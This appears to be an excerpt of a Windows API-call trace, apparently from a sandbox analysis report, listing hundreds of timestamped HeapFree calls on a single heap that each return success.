	[0079.017] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0079.026] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0079.027] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd33e0 | out: hHeap=0x720000) returned 1
	[0079.028] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc33d8 | out: hHeap=0x720000) returned 1
	[0079.196] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0079.216] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0079.219] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0079.316] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0079.318] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0079.320] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0079.321] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0079.321] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0079.321] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0079.321] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0079.328] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0079.328] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0079.329] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0079.329] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0079.329] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0079.329] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0080.616] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0080.616] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0080.616] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0080.620] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0080.622] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0080.625] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0080.625] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0080.631] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0080.637] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0080.638] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0080.638] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0080.638] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0080.642] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0080.642] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0080.645] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0080.646] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0080.646] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0081.004] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0081.086] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0081.135] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.136] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.137] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.138] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.139] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.140] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.142] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.143] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.144] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.145] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.149] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.149] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.150] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.151] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.152] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.153] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.174] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.198] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.199] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.200] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.201] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.202] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0081.202] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.067] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.068] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.069] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.070] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.071] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.074] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.137] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.138] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.139] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.142] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.142] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.142] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.142] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.143] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.144] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.145] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.145] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.146] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.147] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.148] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.150] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.151] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.162] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.172] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.182] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.187] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.190] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.190] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.191] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.194] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.222] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.222] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.224] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.225] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.948] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.948] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.949] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.949] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0082.959] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0082.962] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.962] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0082.967] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.969] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.969] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.976] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.977] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.978] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.978] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.979] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.979] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.982] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.982] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0082.987] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.987] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.993] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0082.993] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0083.151] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.152] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0083.196] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0083.196] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0083.214] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0083.214] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0083.216] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0083.220] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.220] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.226] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.228] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.228] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.231] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.237] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.240] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.241] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.244] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.249] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.254] HeapFree (hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028) 
	[0083.254] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0083.570] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4023038 | out: hHeap=0x720000) returned 1
	[0083.578] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0083.579] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.581] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.583] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0083.583] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.583] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.587] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.591] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.592] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0083.595] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.595] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.597] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.597] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.601] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.602] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.602] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.603] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.604] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.605] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.607] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.607] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.608] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.609] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.610] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.611] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.612] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.613] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.615] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.616] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.618] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.618] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.619] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.620] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.621] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.623] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.623] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.625] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.625] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.626] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.627] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.628] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.629] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.630] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.631] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.631] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.632] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.632] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.633] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.634] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.635] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.635] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.636] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.637] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.637] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.638] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.638] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.639] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.639] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.639] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.642] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.643] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.644] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.644] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.645] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.794] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0083.794] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.794] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.896] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.896] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.899] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0083.899] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0083.899] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.899] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.900] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0083.904] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.904] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0083.916] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.916] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.946] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.946] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0083.946] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0083.986] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.989] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.990] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.991] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.991] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.991] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
